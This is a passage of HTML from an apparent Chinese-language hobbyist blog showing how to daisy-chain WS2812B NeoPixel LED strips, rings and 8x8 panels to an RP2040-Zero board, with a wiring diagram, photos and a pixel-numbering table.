AAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQo=" download="rp2040-zero-one-blink.uf2">按此下載 RP2040-Zero-One-Blink.uf2</a></div>
<br/>
<a name="NeoPixel串列連接"></a><h4 class="mra-h4">NeoPixel串列連接</h4>
<svg version="1.1" width="600" viewBox="0 0 320 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<polyline id="ws2812b-bus" points="10,10 310,10" fill="none" stroke-width="2"/>
<circle id="ws2812b-bus-intersection" cx="70" cy="10" r="5" stroke="none"/>
<polyline id="ws2812b-vcc-bus-end" points="220,10 310,10" fill="none" stroke="#FFFF00" stroke-width="3" stroke-dasharray="4"/>
<polyline id="ws2812b-gnd-bus-end" points="200,110 310,110" fill="none" stroke="#FFFF00" stroke-width="3" stroke-dasharray="4"/>
<polyline id="ws2812b-daisy-chain" points="120,90 120,100 160,100 160,20 200,20 200,30" fill="none" stroke="#008800" stroke-width="2"/>
<polyline id="ws2812b-daisy-start" points="10,60 60,60 60,20 100,20 100,30" fill="none" stroke="#008800" stroke-width="2"/>
<g id="ws2812b-daisy-end">
<polyline points="220,90 220,100 260,100 260,60 310,60" fill="none" stroke="#008800" stroke-width="2"/>
<polyline points="220,90 220,100 260,100 260,60 310,60" fill="none" stroke="#FFFF00" stroke-width="3" stroke-dasharray="4"/>
</g>
<g id="ws2812b-neopixel">
<g font-size="8" font-family="OcrA" stroke="none" text-anchor="middle">
<text x="110" y="58" fill="#000000">WS2812B</text>
<text x="110" y="66" fill="#000000">NeoPixel</text>
<text x="120" y="40" fill="#FF0000">VCC</text>
<text x="100" y="85" fill="#000000">GND</text>
<text x="100" y="40" fill="#008800">DI</text>
<text x="120" y="85" fill="#888888">DO</text>
</g>
<polyline points="120,10 120,30" fill="none" stroke="#FF0000" stroke-width="2"/>
<polyline points="100,90 100,110" fill="none" stroke="#000000" stroke-width="2"/>
<rect x="80" y="30" width="60" height="60" fill="none" stroke="#000000" stroke-width="2"/>
<use xlink:href="#ws2812b-bus-intersection" fill="#FF0000" transform="translate(50,0)"/>
<use xlink:href="#ws2812b-bus-intersection" fill="#000000" transform="translate(30,100)"/>
</g>
</defs>
<rect width="320" height="120" fill="#FFFF00"/>
<g font-size="12" font-family="OcrA" stroke="none" transform="translate(10,10)">
<text y="15" fill="#FF0000">VCC</text>
<text y="45" fill="#008800">SIG</text>
<text y="95" fill="#000000">GND</text>
</g>
<use xlink:href="#ws2812b-bus" stroke="#FF0000" transform="translate(0,0)"/>
<use xlink:href="#ws2812b-bus" stroke="#000000" transform="translate(0,100)"/>
<use xlink:href="#ws2812b-daisy-chain" transform="translate(0,0)"/>
<use xlink:href="#ws2812b-daisy-start" transform="translate(0,0)"/>
<use xlink:href="#ws2812b-daisy-end" transform="translate(0,0)"/>
<use xlink:href="#ws2812b-vcc-bus-end" transform="translate(0,0)"/>
<use xlink:href="#ws2812b-gnd-bus-end" transform="translate(0,0)"/>
<use xlink:href="#ws2812b-neopixel" transform="translate(0,0)"/>
<use xlink:href="#ws2812b-neopixel" transform="translate(100,0)"/>
</svg>
<div>只需要 1條訊號線 便可以控 NeoPixel,而往後的訊號線亦 只需要 1條訊號線 ,以串列方式連接<br/>
減少 微控制器 引腳的使用數量</div>
<br/>
<a name="NeoPixel燈條"></a><h4 class="mra-h4">NeoPixel燈條</h4>
<div>NeoPixel燈條 是最常見的 NeoPixel 串列連接模組</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVhDc_Ei2METhtwQLmH9OARlWq6tCz0sxHYvdbF0Q2m_FElnV6Ixd-SXh5vihtomdRwSEQ2THrDpMnlhbPj9BxTEanmLzZ4y4WWM4V_iOz9bbiBJiVp40X2widYdmR_0Y5wcbsQK9hLetvqRun3qpqrCddxRaA6MrQuFbjQgOe8yfKFsyxzDTSEYAN/w0/rp2040-neopixel-012.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVhDc_Ei2METhtwQLmH9OARlWq6tCz0sxHYvdbF0Q2m_FElnV6Ixd-SXh5vihtomdRwSEQ2THrDpMnlhbPj9BxTEanmLzZ4y4WWM4V_iOz9bbiBJiVp40X2widYdmR_0Y5wcbsQK9hLetvqRun3qpqrCddxRaA6MrQuFbjQgOe8yfKFsyxzDTSEYAN/w600/rp2040-neopixel-012.jpg"/></a></div>
<div>8位NeoPixel燈條 正面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY5BDJCwjNLuoJf5lFet9tLkkee0nfqdPmAqwyFerUrD002Rklx6AIWT6DJMoIu0dTGzJkrS4vZzJjsxfmu83lIiQcR9jXOlzv2KF_feDClHjOnZYzG1EZXUMRgbej4M4mi6uX5XodHwTlI-EWDaiId2t9NQKgOXRkjWXFp-MwnTPuhIHLtG9NMaQ6/w0/rp2040-neopixel-014.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhY5BDJCwjNLuoJf5lFet9tLkkee0nfqdPmAqwyFerUrD002Rklx6AIWT6DJMoIu0dTGzJkrS4vZzJjsxfmu83lIiQcR9jXOlzv2KF_feDClHjOnZYzG1EZXUMRgbej4M4mi6uX5XodHwTlI-EWDaiId2t9NQKgOXRkjWXFp-MwnTPuhIHLtG9NMaQ6/w600/rp2040-neopixel-014.jpg"/></a></div>
<div>使用串列方式連接的 NeoPixel</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitYOA7_d-o_eLJymaUy-4fWJuT-J4aPjXvzOJOF3U3HUoXfnd1GslmfUZtm8UApzQ9Ap0aTnltXNNZ-kHpl7SQKFoNnzQxkNKmNFCODBuOhUyiYifggbmAYp5-vNEU8WA6YmrcTp6gxpMeA2fqF3UQWozlrJnXaZtsQi_DOdR_IhjTjx7ezTNQbU7W/w0/rp2040-neopixel-013.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitYOA7_d-o_eLJymaUy-4fWJuT-J4aPjXvzOJOF3U3HUoXfnd1GslmfUZtm8UApzQ9Ap0aTnltXNNZ-kHpl7SQKFoNnzQxkNKmNFCODBuOhUyiYifggbmAYp5-vNEU8WA6YmrcTp6gxpMeA2fqF3UQWozlrJnXaZtsQi_DOdR_IhjTjx7ezTNQbU7W/w600/rp2040-neopixel-013.jpg"/></a></div>
<div>8位NeoPixel燈條 背面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl3u0Hq99HNp37xbBBMTluGUkFSxsoLi7FJ3LbeXRYn-LvgASObHA0BbUUUvJs7914tUl4QzSG4LBxN7PQJa2TeShWwwW68bH3ahuxyrYth0OgGOSGgD5pyGCfKQBbOT3XNDhVF6nspJTBsSam_gDjNSW8VspuFxtBZp6YokQsPNRIVD-4FRc9O5Mh/w0/rp2040-neopixel-015.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjl3u0Hq99HNp37xbBBMTluGUkFSxsoLi7FJ3LbeXRYn-LvgASObHA0BbUUUvJs7914tUl4QzSG4LBxN7PQJa2TeShWwwW68bH3ahuxyrYth0OgGOSGgD5pyGCfKQBbOT3XNDhVF6nspJTBsSam_gDjNSW8VspuFxtBZp6YokQsPNRIVD-4FRc9O5Mh/w600/rp2040-neopixel-015.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1uMCDGioAcuSilsI-Txk9dUJXJB0699O_lYPEskwo_SUNQc61EfDfPE8arTTBaToYS27cJ9J0rrhs28YSzgmYb-JYASapMJ6FpBlLwecO8CQ1FzepMJMZb3jUFpVrMUtqYxvfB74db4_ptNT7aK5J4PFUboOPUnDl8xQNkaiX_8xgNZAGA2DrCkHM/w0/rp2040-neopixel-016.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1uMCDGioAcuSilsI-Txk9dUJXJB0699O_lYPEskwo_SUNQc61EfDfPE8arTTBaToYS27cJ9J0rrhs28YSzgmYb-JYASapMJ6FpBlLwecO8CQ1FzepMJMZb3jUFpVrMUtqYxvfB74db4_ptNT7aK5J4PFUboOPUnDl8xQNkaiX_8xgNZAGA2DrCkHM/w600/rp2040-neopixel-016.jpg"/></a></div>
<div>線路接駁的終端,標示著對應引腳的用途</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr2SY2EkUN46gTzxKaD3VslXafaKJ-ykoA_B8rTxcL5MgiL6ivsdg4NCIhVzwPQHvOUU3kz0Eg5M9Tnl6gyFShOMuqopsbcxzYQW3VlbOlBepd34OglJ5q1YMfD8N29QTRfclHXu4U5XQ43dvVtiEdq5JxeXaONUv-lIabw9SpuWK-dM_d9GLFNeJT/w0/rp2040-neopixel-017.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr2SY2EkUN46gTzxKaD3VslXafaKJ-ykoA_B8rTxcL5MgiL6ivsdg4NCIhVzwPQHvOUU3kz0Eg5M9Tnl6gyFShOMuqopsbcxzYQW3VlbOlBepd34OglJ5q1YMfD8N29QTRfclHXu4U5XQ43dvVtiEdq5JxeXaONUv-lIabw9SpuWK-dM_d9GLFNeJT/w600/rp2040-neopixel-017.jpg"/></a></div>
<div>在下使用銅線焊接到焊墊上,並屈曲成90度,方便安裝到麵包板或直接安裝到 RP2040-Zero</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkpvr1ZDH3wZSHszeZIky0ZQSKOIMklbJLwFm32Q-P0pBPoP8lBLUSxjPYvtdKwL7_oxIneHRP6DmyH9AVQY-gZ0vX1zwFsSxzRvIMHYQxfwcFB329ulR4lNrcWn1SsDJPEtLYw7X-rHhyUQzitYcvLu3dWz7CGPwo-fqqJvzgtX5nKBiaOMRFUBTi/w0/rp2040-neopixel-018.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkpvr1ZDH3wZSHszeZIky0ZQSKOIMklbJLwFm32Q-P0pBPoP8lBLUSxjPYvtdKwL7_oxIneHRP6DmyH9AVQY-gZ0vX1zwFsSxzRvIMHYQxfwcFB329ulR4lNrcWn1SsDJPEtLYw7X-rHhyUQzitYcvLu3dWz7CGPwo-fqqJvzgtX5nKBiaOMRFUBTi/w600/rp2040-neopixel-018.gif"/></a></div>
<div>很簡單便可以製作 RGB LED 燈飾</div>
<br/>
<a name="NeoPixel燈環"></a><h4 class="mra-h4">NeoPixel燈環</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2tZgbnjg6tgtH_TToUAYV4APmLbVUYEt9I5ldp49iV9tKvGdYZ4kmMvXDGbIWWDgAZRfxaxbMDVnUvwPNRlGW6J345aLBiExxx3z7zo3UNYWjGcJSJgo5AwFmZ48uDSOQXGE95QC7IXg0_Cedw_8lDYkOGpcpFNK9NqRlmcmb6IpDaW-y3CgQGkN5/w0/rp2040-neopixel-019.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2tZgbnjg6tgtH_TToUAYV4APmLbVUYEt9I5ldp49iV9tKvGdYZ4kmMvXDGbIWWDgAZRfxaxbMDVnUvwPNRlGW6J345aLBiExxx3z7zo3UNYWjGcJSJgo5AwFmZ48uDSOQXGE95QC7IXg0_Cedw_8lDYkOGpcpFNK9NqRlmcmb6IpDaW-y3CgQGkN5/w600/rp2040-neopixel-019.jpg"/></a></div>
<div>16位NeoPixel燈環 正面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG5tiaS4NOAxhU3nUq3HOFcUSGAH7LMDV4E-u1z5C0H0Xv2bjjovgkxcmspsfeHJu8yRwg_Rqv2NwOcRJfsx9KmUxrCLnAMccJU5O3tPuzuetIqSg6xaNVQIdUj41wvymRdp5vD5pGgrCgg1XH1o-n15X9tZR2zv3nkbMsj9Lw685EC6DF-ZTTk8mU/w0/rp2040-neopixel-020.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG5tiaS4NOAxhU3nUq3HOFcUSGAH7LMDV4E-u1z5C0H0Xv2bjjovgkxcmspsfeHJu8yRwg_Rqv2NwOcRJfsx9KmUxrCLnAMccJU5O3tPuzuetIqSg6xaNVQIdUj41wvymRdp5vD5pGgrCgg1XH1o-n15X9tZR2zv3nkbMsj9Lw685EC6DF-ZTTk8mU/w600/rp2040-neopixel-020.jpg"/></a></div>
<div>NeoPixel燈環 背面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht5AofZbwtpN06APIzcHcoYaFA4ostDkSicZUAtf5vNuwWOLzTULPZ1K9xpWB4BLxNtRAUG7UDJNQM7bvBtCB5q4dw7xqWpXLLfa_bTvXYRkDFsD02Cm4pkSd2Zml88Nuq8tiwv-NkW7gP4YAJ9Gj4uBDMNys6zNmuf5cIRZBxfW81T6LKVhWj966k/w0/rp2040-neopixel-021.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEht5AofZbwtpN06APIzcHcoYaFA4ostDkSicZUAtf5vNuwWOLzTULPZ1K9xpWB4BLxNtRAUG7UDJNQM7bvBtCB5q4dw7xqWpXLLfa_bTvXYRkDFsD02Cm4pkSd2Zml88Nuq8tiwv-NkW7gP4YAJ9Gj4uBDMNys6zNmuf5cIRZBxfW81T6LKVhWj966k/w600/rp2040-neopixel-021.jpg"/></a></div>
<div>引腳佈局與燈條略有不同</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt5c40kqhnsBIN21dcWBpYS4lAx7HoGnptsBwCDsoJJc1h9CnpZXGbnzogmHa--alFj6gqFC8W1tdz9hE2-9dWh7P20NR6No9WyrGBEShJvoNvGaDVTbAoaP667bRapP0paAFwHHRDk0k92BLFUAb5L1MQ0K9nYGao07hykdMa_LwRKkuRiuU1CQoJ/w0/rp2040-neopixel-022.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt5c40kqhnsBIN21dcWBpYS4lAx7HoGnptsBwCDsoJJc1h9CnpZXGbnzogmHa--alFj6gqFC8W1tdz9hE2-9dWh7P20NR6No9WyrGBEShJvoNvGaDVTbAoaP667bRapP0paAFwHHRDk0k92BLFUAb5L1MQ0K9nYGao07hykdMa_LwRKkuRiuU1CQoJ/w600/rp2040-neopixel-022.jpg"/></a></div>
<div>在下同樣焊接銅線並屈曲至90度,再加上顏色方便辨認引腳用途</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqTWwU5tHjmCr9FUcjlX90F6zV83k9OOrDxxYTkC3J5J7O3vt4wbGSNb0nEvc30GrdnXiaDzarcL-ah0M0i9sRddpTxpJqcxvkegCxw9TZXAz0zC6aJgKJoweOeYdkUr3UOQF6xN5UgLiZGztUTCICiwqlOIuwW1AnYp3NANHJQ53c90g02RNLNnzD/w0/rp2040-neopixel-023.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqTWwU5tHjmCr9FUcjlX90F6zV83k9OOrDxxYTkC3J5J7O3vt4wbGSNb0nEvc30GrdnXiaDzarcL-ah0M0i9sRddpTxpJqcxvkegCxw9TZXAz0zC6aJgKJoweOeYdkUr3UOQF6xN5UgLiZGztUTCICiwqlOIuwW1AnYp3NANHJQ53c90g02RNLNnzD/w600/rp2040-neopixel-023.gif"/></a></div>
<div>操作燈環與操作燈條基本上相同,只需要因應 NeoPixel 的數量調整即可</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEHmkJNmi73uxmXQtTaoEdxosKxVuNyx4sTWpcvzVLYFU-uMa0XKHkesLzI_Y6y7RXSU9lKFapwKQkrinbDnrLicntiMZqC989es1SMDv8uofl6xGS32I1VEv5QvsAb1XigcdqgmifmeD4y10jRb55pGRS4MljTP-946k9z8zDj0kDeRqjAk7Dub_a/w0/rp2040-neopixel-041.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEHmkJNmi73uxmXQtTaoEdxosKxVuNyx4sTWpcvzVLYFU-uMa0XKHkesLzI_Y6y7RXSU9lKFapwKQkrinbDnrLicntiMZqC989es1SMDv8uofl6xGS32I1VEv5QvsAb1XigcdqgmifmeD4y10jRb55pGRS4MljTP-946k9z8zDj0kDeRqjAk7Dub_a/w600/rp2040-neopixel-041.gif"/></a></div>
<div>只要將 前一個 NeoPixel 的 DO引腳 連接至 後一個 NeoPixel 的 DI引腳,再設定數量,即可達到串列連接的效果</div>
<br/>
<a name="NeoPixel燈板"></a><h4 class="mra-h4">NeoPixel燈板</h4>
<div>NeoPixel燈板同樣是常見的 NeoPixel 串列連接模組<br/>
不少商場公告都使用類似的裝置展示訊息</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbMHBhZHBG4KGf5MbWmkqKwjZlMrIQG5_l675D6fx2OiwztI3M4pWRztArA3uXY6pQgUOnrpUrkXi3jUs12RkCPFTa0fR48N3WrJIedfQURR9Y9BBPfxB8pPMk4H76yUk-rgC_5D8TYGD14RrvIYiQ_bdYUSZN9uftaQeLQPRELGD0AUHWq3GkMJK9/w0/rp2040-neopixel-054.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbMHBhZHBG4KGf5MbWmkqKwjZlMrIQG5_l675D6fx2OiwztI3M4pWRztArA3uXY6pQgUOnrpUrkXi3jUs12RkCPFTa0fR48N3WrJIedfQURR9Y9BBPfxB8pPMk4H76yUk-rgC_5D8TYGD14RrvIYiQ_bdYUSZN9uftaQeLQPRELGD0AUHWq3GkMJK9/w600/rp2040-neopixel-054.jpg"/></a></div>
<div>64位NeoPixel燈板 正面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJj4CNJZubi-most6AvpHaguFwh2ir5viJPJFynwnJn42sYsRm-upHBwd59Tlag1atyf_n5n7IkX3XruerCJtHyMB3saWXdvLfyYF9QOHkdMQnCH7tuteZ8luMSpGdMbi_kvdEc08VAgB61pl5DFFst8coUCOnp9272ugvFH0Ly_4fvGGZO-xVX-wY/w0/rp2040-neopixel-055.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJj4CNJZubi-most6AvpHaguFwh2ir5viJPJFynwnJn42sYsRm-upHBwd59Tlag1atyf_n5n7IkX3XruerCJtHyMB3saWXdvLfyYF9QOHkdMQnCH7tuteZ8luMSpGdMbi_kvdEc08VAgB61pl5DFFst8coUCOnp9272ugvFH0Ly_4fvGGZO-xVX-wY/w600/rp2040-neopixel-055.jpg"/></a></div>
<div>64位NeoPixel燈板 背面</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimdgPmJ4b2wA8i4W-4ksTJ75_VozhCeOhyfDgo-To3LffjzC-9zBY8eQwBdfxeULBMovlCkP758mAkUQ7QWrWeMXkbFy7FWUjXr3T-UiIqCFwUku7j38cg8nLT3x_hTBWoLnOioGPnhZnTFozcH3TIVvmAJqGWFWc7ggMq7oReWlJ8j_QQRS5suCEb/w0/rp2040-neopixel-056.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimdgPmJ4b2wA8i4W-4ksTJ75_VozhCeOhyfDgo-To3LffjzC-9zBY8eQwBdfxeULBMovlCkP758mAkUQ7QWrWeMXkbFy7FWUjXr3T-UiIqCFwUku7j38cg8nLT3x_hTBWoLnOioGPnhZnTFozcH3TIVvmAJqGWFWc7ggMq7oReWlJ8j_QQRS5suCEb/w600/rp2040-neopixel-056.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu9i2qH4NAg3S5CnDi2rRetkVIaKQDLpMqXeN3Aw8U4SjtcgmJesPqxjAj5Qxv_K4q6PAnoNuz4xTyvnEjS-Q9WNIkifj7nY1UiGipL3jBTGCr8nqn_LfaGEleM5wDAU_S26VSyZXldJd-p9pgAeezY96H5JartPv8qTj0yYiIhlAVnUUs4bBjQg1M/w0/rp2040-neopixel-057.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu9i2qH4NAg3S5CnDi2rRetkVIaKQDLpMqXeN3Aw8U4SjtcgmJesPqxjAj5Qxv_K4q6PAnoNuz4xTyvnEjS-Q9WNIkifj7nY1UiGipL3jBTGCr8nqn_LfaGEleM5wDAU_S26VSyZXldJd-p9pgAeezY96H5JartPv8qTj0yYiIhlAVnUUs4bBjQg1M/w600/rp2040-neopixel-057.jpg"/></a></div>
<div>使用 0.1寸 通孔引腳設計,方便焊接一般引腳</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7zumjd3SujKNhNDVsbnlexPGYxOEQDsqWJA12wHxeHxg-eKJkDMT0YqFdUXzXBgUQAnF3Y2l8onrm5-hVMSwy9p55QazUhaF7g94GC5ZE8Uix5XqpeBA5qLYG_Wk5Motn1b-FZQkgMyJXrfgi2_HiifJhXoEzsjpC0KuRh914D_lXEBIaXSiO6RTd/w0/rp2040-neopixel-058.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7zumjd3SujKNhNDVsbnlexPGYxOEQDsqWJA12wHxeHxg-eKJkDMT0YqFdUXzXBgUQAnF3Y2l8onrm5-hVMSwy9p55QazUhaF7g94GC5ZE8Uix5XqpeBA5qLYG_Wk5Motn1b-FZQkgMyJXrfgi2_HiifJhXoEzsjpC0KuRh914D_lXEBIaXSiO6RTd/w600/rp2040-neopixel-058.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx8c-vQmAGULxFz4IWt8gTP-bWTiP81o4SItOgVvRMI7SaExDBNjhLmcFuLh8vcqKQ8QVyDbq342i6vH42GB5IHrMD24eE_eLZjII-83oPEJwmF9lbTPu1k8zrMOgCSJ7yHTTnmn4R2zGMNtrAiCj5KVaHMfYXJ50dE6teWs6ExZXKmtFPHFXb9_xI/w0/rp2040-neopixel-059.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx8c-vQmAGULxFz4IWt8gTP-bWTiP81o4SItOgVvRMI7SaExDBNjhLmcFuLh8vcqKQ8QVyDbq342i6vH42GB5IHrMD24eE_eLZjII-83oPEJwmF9lbTPu1k8zrMOgCSJ7yHTTnmn4R2zGMNtrAiCj5KVaHMfYXJ50dE6teWs6ExZXKmtFPHFXb9_xI/w600/rp2040-neopixel-059.jpg"/></a></div>
<div>在下使用不同顏色的引腳焊接,方便分辨引腳用途</div>
<br/><!--
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgASNi88pn6RxtldpWGGb0xAK54ES8mWP_bQuGFXyONRt8GqWVzPWwZ7-EjHiICh_0IztzmRHSYN0niFeaqNqRXwVjEzfjMVLpAIsC1w_PW4eD65pCM3-rW8VX21CmWxX-sT-O8QZwMqKMb2l60klWNEUEGGfrabFaNB3GKmtwfrDuO_wkrLfEXxmdC/w0/rp2040-neopixel-060.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgASNi88pn6RxtldpWGGb0xAK54ES8mWP_bQuGFXyONRt8GqWVzPWwZ7-EjHiICh_0IztzmRHSYN0niFeaqNqRXwVjEzfjMVLpAIsC1w_PW4eD65pCM3-rW8VX21CmWxX-sT-O8QZwMqKMb2l60klWNEUEGGfrabFaNB3GKmtwfrDuO_wkrLfEXxmdC/w600/rp2040-neopixel-060.jpg"/></a></div>
<div>說明說明說明說明說明</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO9UYAk3Nzf0lz5ZiB7dzZIZMi6VD_AvilGyahMnWb5Tm87ImrqkJjnUVMAcsc_KccUf09bYLiSmFT-oayhMuGT56D9u0fPYJ2Qbn_K-nGXbVcP4QG-odXQDFBktEVXrWmM-rXup8puxVRmD0e_YG6R9Mc5pTZSrImrpvq_5bITParekfkxX1UJOYa/w0/rp2040-neopixel-061.jpg"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO9UYAk3Nzf0lz5ZiB7dzZIZMi6VD_AvilGyahMnWb5Tm87ImrqkJjnUVMAcsc_KccUf09bYLiSmFT-oayhMuGT56D9u0fPYJ2Qbn_K-nGXbVcP4QG-odXQDFBktEVXrWmM-rXup8puxVRmD0e_YG6R9Mc5pTZSrImrpvq_5bITParekfkxX1UJOYa/w600/rp2040-neopixel-061.jpg"/></a></div>
<div>說明說明說明說明說明</div>
<br/>-->
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgciyvo2qn8XzrXi6QYY6yCRUlBA1GnmUs4LeyjnYAXtm7fjronE_Gu7ZlIGUkJkiymAR3aw8tJHKJxwslr3z9EAtA9UwIj7sSaYSUj8Y0Oyfh7LsHYkW4b4Z5l6ay8W_hXI7b0KQiL_uQktcuQE7JrqAziTjgTm2ncLUDE7_AYqEGBaJB7QOE_IuNu/w0/rp2040-neopixel-062.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgciyvo2qn8XzrXi6QYY6yCRUlBA1GnmUs4LeyjnYAXtm7fjronE_Gu7ZlIGUkJkiymAR3aw8tJHKJxwslr3z9EAtA9UwIj7sSaYSUj8Y0Oyfh7LsHYkW4b4Z5l6ay8W_hXI7b0KQiL_uQktcuQE7JrqAziTjgTm2ncLUDE7_AYqEGBaJB7QOE_IuNu/w600/rp2040-neopixel-062.gif"/></a></div>
<div>操作與燈條及燈環都是相同,便可以很方便地製作 RGB LED 的電子顯示熒幕</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo_hlc5ZLehQw29t5PtzMHwWDHfKXllTkKXXOlHshBJQEbet4FVGA00WcheSviDMuYBW6ZtZH5y7ZHiIW5u-jubap9b-wUqkqqN_9BC6nbAy5vkgKQhKoRTpyauuAIoU2xYYR6CSm41kJ0iSlN6edsJln_9Yqfvnf7N0acohCZdlPRFmjzQVr1WRkp/w0/rp2040-neopixel-069.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo_hlc5ZLehQw29t5PtzMHwWDHfKXllTkKXXOlHshBJQEbet4FVGA00WcheSviDMuYBW6ZtZH5y7ZHiIW5u-jubap9b-wUqkqqN_9BC6nbAy5vkgKQhKoRTpyauuAIoU2xYYR6CSm41kJ0iSlN6edsJln_9Yqfvnf7N0acohCZdlPRFmjzQVr1WRkp/w600/rp2040-neopixel-069.gif"/></a></div>
<table id="mra-neopixel-matrix" class="mra-table mra-collapse" border="1" cellpadding="5" cellspacing="5">
<colgroup>
<col width="60"/>
<col width="60"/>
<col width="60" style="background-color: #FFFF00"/>
<col width="60"/>
<col width="60"/>
<col width="60"/>
<col width="60"/>
<col width="60"/>
<col width="60"/>
</colgroup>
<thead>
<tr height="60">
<th></th>
<th>第1欄</th>
<th>第2欄</th>
<th>第3欄</th>
<th>第4欄</th>
<th>第5欄</th>
<th>第6欄</th>
<th>第7欄</th>
<th>第8欄</th>
</tr>
</thead>
<tbody>
<tr height="60">
<th>第1列</th>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td>7</td>
<td>8</td>
</tr>
<tr height="60">
<th>第2列</th>
<td>9</td>
<td>10</td>
<td>11</td>
<td>12</td>
<td>13</td>
<td>14</td>
<td>15</td>
<td>16</td>
</tr>
<tr height="60">
<th>第3列</th>
<td>17</td>
<td>18</td>
<td>19</td>
<td>20</td>
<td>21</td>
<td>22</td>
<td>23</td>
<td>24</td>
</tr>
<tr height="60" style="background-color: #FFFF00">
<th>第4列</th>
<td>25</td>
<td>26</td>
<td>27</td>
<td>28</td>
<td>29</td>
<td>30</td>
<td>31</td>
<td>32</td>
</tr>
<tr height="60">
<th>第5列</th>
<td>33</td>
<td>34</td>
<td>35</td>
<td>36</td>
<td>37</td>
<td>38</td>
<td>39</td>
<td>40</td>
</tr>
<tr height="60">
<th>第6列</th>
<td>41</td>
<td>42</td>
<td>43</td>
<td>44</td>
<td>45</td>
<td>46</td>
<td>47</td>
<td>48</td>
</tr>
<tr height="60">
<th>第7列</th>
<td>49</td>
<td>50</td>
<td>51</td>
<td>52</td>
<td>53</td>
<td>54</td>
<td>55</td>
<td>56</td>
</tr>
<tr height="60">
<th>第8列</th>
<td>57</td>
<td>58</td>
<td>59</td>
<td>60</td>
<td>61</td>
<td>62</td>
<td>63</td>
<td>64</td>
</tr>
</tbody>
</table>
<div>NeoPixel燈板只是陣列排列,不是矩陣排列不同﹐因此沒有列欄概念<br/>
